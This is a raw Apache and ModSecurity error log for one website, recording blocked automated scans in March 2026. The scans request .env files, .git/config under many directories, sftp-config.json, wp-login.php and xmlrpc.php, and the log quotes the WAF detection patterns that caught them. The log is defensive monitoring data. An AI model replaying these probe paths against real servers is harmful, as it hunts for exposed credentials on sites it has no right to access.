[Thu Mar 26 20:52:53.361987 2026] [:error] [pid 31717:tid 31727] [client 4.206.17.96:31287] [client 4.206.17.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acUsJb-SCF7YDISDX4_0dQAAAYU"]
[Thu Mar 26 20:52:54.192976 2026] [:error] [pid 19818:tid 19823] [client 4.206.17.96:30988] [client 4.206.17.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acUsJszaSnm3d1BeM5UsRwAAAMM"]
[Fri Mar 27 00:34:34.709641 2026] [:error] [pid 62148:tid 62511] [client 94.26.106.29:41616] [client 94.26.106.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acVgGoduik-mTruBKFViXgAAAE4"]
[Fri Mar 27 00:34:34.717481 2026] [proxy_fcgi:error] [pid 62148:tid 62511] [client 94.26.106.29:41616] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 01:23:28.465763 2026] [:error] [pid 62149:tid 62538] [client 216.81.200.83:40040] [client 216.81.200.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "acVrkGHvvta9MPqU8PViGwAAAQ4"]
[Fri Mar 27 01:32:46.151793 2026] [:error] [pid 44058:tid 44073] [client 185.169.4.152:54569] [client 185.169.4.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "acVtvuqp9u5CVRGdZPH8OAAAAI0"]
[Fri Mar 27 01:39:44.550922 2026] [:error] [pid 44058:tid 44083] [client 124.217.29.28:3802] [client 124.217.29.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.29.28, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acVvYOqp9u5CVRGdZPEAqwAAAJc"]
[Fri Mar 27 01:39:44.561950 2026] [proxy_fcgi:error] [pid 44058:tid 44083] [client 124.217.29.28:3802] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 07:53:43.628035 2026] [:error] [pid 27851:tid 27866] [client 51.107.9.165:64481] [client 51.107.9.165] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acXHB3R2ccxe3RMCLbowsgAAAMg"]
[Fri Mar 27 07:58:00.752860 2026] [:error] [pid 4293:tid 4299] [client 45.3.42.197:14039] [client 45.3.42.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acXICJLjeJUC3OKtEx-nkQAAAUQ"]
[Fri Mar 27 07:58:02.351141 2026] [:error] [pid 4293:tid 4310] [client 216.26.237.13:54853] [client 216.26.237.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acXICpLjeJUC3OKtEx-nnAAAAU8"]
[Fri Mar 27 07:58:03.112720 2026] [:error] [pid 63897:tid 63910] [client 216.26.242.89:41659] [client 216.26.242.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "acXIC2VSkmYmLu7ycYgt5QAAAQs"]
[Fri Mar 27 07:58:03.981029 2026] [:error] [pid 4293:tid 4298] [client 209.50.168.28:33041] [client 209.50.168.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "acXIC5LjeJUC3OKtEx-npAAAAUM"]
[Fri Mar 27 07:58:04.946775 2026] [:error] [pid 27750:tid 27818] [client 104.207.61.198:35273] [client 104.207.61.198] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "acXIDIaSil5rd17ieLxRDwAAAIA"]
[Fri Mar 27 07:58:06.410089 2026] [:error] [pid 4293:tid 4295] [client 209.50.161.84:10401] [client 209.50.161.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "acXIDpLjeJUC3OKtEx-nrgAAAUA"]
[Fri Mar 27 07:58:07.323665 2026] [:error] [pid 4293:tid 4311] [client 209.50.163.216:53043] [client 209.50.163.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "acXID5LjeJUC3OKtEx-nswAAAVA"]
[Fri Mar 27 07:58:07.358600 2026] [:error] [pid 4293:tid 4312] [client 45.3.62.196:35155] [client 45.3.62.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "acXID5LjeJUC3OKtEx-ntAAAAVE"]
[Fri Mar 27 07:58:07.824812 2026] [:error] [pid 4293:tid 4317] [client 209.50.170.207:16267] [client 209.50.170.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "acXID5LjeJUC3OKtEx-nugAAAVY"]
[Fri Mar 27 07:58:08.473718 2026] [:error] [pid 4293:tid 4310] [client 209.50.177.159:43331] [client 209.50.177.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "acXIEJLjeJUC3OKtEx-nvQAAAU8"]
[Fri Mar 27 07:58:08.982393 2026] [:error] [pid 27743:tid 27787] [client 216.26.226.165:54471] [client 216.26.226.165] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "acXIECA46UYYLqzw99AP-AAAABc"]
[Fri Mar 27 07:58:09.518424 2026] [:error] [pid 27749:tid 27806] [client 216.26.250.161:20469] [client 216.26.250.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "acXIEcEqyoMni2Q6_X5zxgAAAE8"]
[Fri Mar 27 07:58:10.544327 2026] [:error] [pid 4341:tid 4351] [client 216.26.233.153:35433] [client 216.26.233.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "acXIEuKJWrNB5dMlERE6LQAAAYg"]
[Fri Mar 27 07:58:10.602550 2026] [:error] [pid 4341:tid 4363] [client 65.111.27.91:39187] [client 65.111.27.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "acXIEuKJWrNB5dMlERE6LgAAAZQ"]
[Fri Mar 27 07:58:11.776795 2026] [:error] [pid 27851:tid 27865] [client 216.26.249.124:12257] [client 216.26.249.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "acXIE3R2ccxe3RMCLboyKgAAAMc"]
[Fri Mar 27 07:58:11.800571 2026] [:error] [pid 4293:tid 4301] [client 45.3.48.164:53935] [client 45.3.48.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "acXIE5LjeJUC3OKtEx-nyAAAAUY"]
[Fri Mar 27 07:58:12.600376 2026] [:error] [pid 63897:tid 63916] [client 65.111.28.209:57057] [client 65.111.28.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/frontend/.env"] [unique_id "acXIFGVSkmYmLu7ycYgt-QAAARE"]
[Fri Mar 27 07:58:13.140939 2026] [:error] [pid 63897:tid 63919] [client 45.3.41.159:62323] [client 45.3.41.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/frontend/.env"] [unique_id "acXIFWVSkmYmLu7ycYgt-gAAARQ"]
[Fri Mar 27 07:58:13.892817 2026] [:error] [pid 27851:tid 27860] [client 216.26.243.176:49675] [client 216.26.243.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "acXIFXR2ccxe3RMCLboyLgAAAMI"]
[Fri Mar 27 07:58:14.142625 2026] [:error] [pid 63897:tid 63917] [client 216.26.235.72:29965] [client 216.26.235.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "acXIFmVSkmYmLu7ycYgt_gAAARI"]
[Fri Mar 27 07:58:14.631897 2026] [:error] [pid 63897:tid 63901] [client 104.207.46.1:55297] [client 104.207.46.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "acXIFmVSkmYmLu7ycYguAgAAAQI"]
[Fri Mar 27 07:58:15.632546 2026] [:error] [pid 27750:tid 27842] [client 65.111.29.233:13289] [client 65.111.29.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "acXIF4aSil5rd17ieLxRFQAAAJg"]
[Fri Mar 27 07:58:16.451502 2026] [:error] [pid 27851:tid 27878] [client 209.50.184.148:37375] [client 209.50.184.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "acXIGHR2ccxe3RMCLboyMgAAANQ"]
[Fri Mar 27 07:58:16.871579 2026] [:error] [pid 27851:tid 27858] [client 216.26.234.248:43021] [client 216.26.234.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "acXIGHR2ccxe3RMCLboyMwAAAMA"]
[Fri Mar 27 07:58:17.437688 2026] [:error] [pid 27749:tid 27810] [client 216.26.235.231:52087] [client 216.26.235.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/dev/.git/config"] [unique_id "acXIGcEqyoMni2Q6_X5z5wAAAFM"]
[Fri Mar 27 07:58:18.400990 2026] [:error] [pid 27743:tid 27770] [client 65.111.22.229:21061] [client 65.111.22.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/dev/.git/config"] [unique_id "acXIGiA46UYYLqzw99AQBAAAAAY"]
[Fri Mar 27 07:58:19.774366 2026] [:error] [pid 27851:tid 27872] [client 217.181.91.48:46519] [client 217.181.91.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.git/config"] [unique_id "acXIG3R2ccxe3RMCLboyNwAAAM4"]
[Fri Mar 27 07:58:20.879603 2026] [:error] [pid 4341:tid 4367] [client 216.26.253.145:33207] [client 216.26.253.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.git/config"] [unique_id "acXIHOKJWrNB5dMlERE6OwAAAZg"]
[Fri Mar 27 07:58:21.881361 2026] [:error] [pid 63897:tid 63902] [client 65.111.7.24:25377] [client 65.111.7.24] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/v2/.git/config"] [unique_id "acXIHWVSkmYmLu7ycYguEgAAAQM"]
[Fri Mar 27 07:58:22.405804 2026] [:error] [pid 4341:tid 4362] [client 151.123.178.132:30087] [client 151.123.178.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/v2/.git/config"] [unique_id "acXIHuKJWrNB5dMlERE6PQAAAZM"]
[Fri Mar 27 07:58:23.223085 2026] [:error] [pid 4293:tid 4307] [client 65.111.22.145:54879] [client 65.111.22.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp/.git/config"] [unique_id "acXIH5LjeJUC3OKtEx-n0QAAAUw"]
[Fri Mar 27 07:58:23.440789 2026] [:error] [pid 27750:tid 27834] [client 216.26.232.249:46389] [client 216.26.232.249] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp/.git/config"] [unique_id "acXIH4aSil5rd17ieLxRHgAAAJA"]
[Fri Mar 27 07:58:24.043180 2026] [:error] [pid 27750:tid 27826] [client 104.207.41.26:19303] [client 104.207.41.26] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/test/.git/config"] [unique_id "acXIIIaSil5rd17ieLxRHwAAAIg"]
[Fri Mar 27 07:58:24.594219 2026] [:error] [pid 4341:tid 4363] [client 45.3.53.248:31057] [client 45.3.53.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/test/.git/config"] [unique_id "acXIIOKJWrNB5dMlERE6RAAAAZQ"]
[Fri Mar 27 07:58:25.099095 2026] [:error] [pid 27743:tid 27778] [client 45.3.40.95:15703] [client 45.3.40.95] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.git/config"] [unique_id "acXIISA46UYYLqzw99AQDQAAAA4"]
[Fri Mar 27 07:58:26.032939 2026] [:error] [pid 27851:tid 27877] [client 65.111.27.153:15287] [client 65.111.27.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.git/config"] [unique_id "acXIInR2ccxe3RMCLboyQQAAANM"]
[Fri Mar 27 07:58:26.845739 2026] [:error] [pid 27743:tid 27768] [client 209.50.186.48:41397] [client 209.50.186.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backup/.git/config"] [unique_id "acXIIiA46UYYLqzw99AQEAAAAAQ"]
[Fri Mar 27 07:58:26.995094 2026] [:error] [pid 4341:tid 4354] [client 216.26.227.37:42639] [client 216.26.227.37] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backup/.git/config"] [unique_id "acXIIuKJWrNB5dMlERE6SAAAAYs"]
[Fri Mar 27 07:58:27.482834 2026] [:error] [pid 4293:tid 4315] [client 104.207.49.239:36507] [client 104.207.49.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.git/config"] [unique_id "acXII5LjeJUC3OKtEx-n1wAAAVQ"]
[Fri Mar 27 07:58:28.783111 2026] [:error] [pid 4293:tid 4297] [client 45.3.43.22:11781] [client 45.3.43.22] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.git/config"] [unique_id "acXIJJLjeJUC3OKtEx-n2wAAAUI"]
[Fri Mar 27 07:58:29.921807 2026] [:error] [pid 4293:tid 4310] [client 65.111.24.97:42905] [client 65.111.24.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.git/config"] [unique_id "acXIJZLjeJUC3OKtEx-n3wAAAU8"]
[Fri Mar 27 07:58:30.269911 2026] [:error] [pid 27851:tid 27880] [client 65.111.29.65:28569] [client 65.111.29.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.git/config"] [unique_id "acXIJnR2ccxe3RMCLboyRwAAANY"]
[Fri Mar 27 07:58:31.114925 2026] [:error] [pid 4293:tid 4298] [client 65.111.29.18:14371] [client 65.111.29.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/new/.git/config"] [unique_id "acXIJ5LjeJUC3OKtEx-n5AAAAUM"]
[Fri Mar 27 07:58:31.487547 2026] [:error] [pid 4341:tid 4359] [client 216.26.241.215:12363] [client 216.26.241.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/new/.git/config"] [unique_id "acXIJ-KJWrNB5dMlERE6UQAAAZA"]
[Fri Mar 27 08:30:17.773301 2026] [proxy_fcgi:error] [pid 27851:tid 27881] [client 132.196.91.16:21574] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 08:30:17.965128 2026] [proxy_fcgi:error] [pid 27851:tid 27858] [client 132.196.91.16:21574] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 08:30:18.160321 2026] [proxy_fcgi:error] [pid 27851:tid 27874] [client 132.196.91.16:21574] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 08:30:18.354207 2026] [proxy_fcgi:error] [pid 27851:tid 27871] [client 132.196.91.16:21574] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 08:30:19.316099 2026] [proxy_fcgi:error] [pid 27851:tid 27866] [client 132.196.91.16:21574] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 08:30:19.885950 2026] [:error] [pid 27851:tid 27872] [client 132.196.91.16:21574] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Content/Type/index.php"] [unique_id "acXPm3R2ccxe3RMCLbo7FAAAAM4"]
[Fri Mar 27 08:30:20.663523 2026] [:error] [pid 4293:tid 4310] [client 132.196.91.16:21608] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Content/Type/index.php"] [unique_id "acXPnJLjeJUC3OKtEx_B_gAAAU8"]
[Fri Mar 27 08:30:21.426611 2026] [:error] [pid 4293:tid 4312] [client 132.196.91.16:21625] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Content/Type/index.php"] [unique_id "acXPnZLjeJUC3OKtEx_CAgAAAVE"]
[Fri Mar 27 08:30:22.206834 2026] [:error] [pid 27851:tid 27874] [client 132.196.91.16:21582] [client 132.196.91.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Content/Type/index.php"] [unique_id "acXPnnR2ccxe3RMCLbo7GQAAANA"]
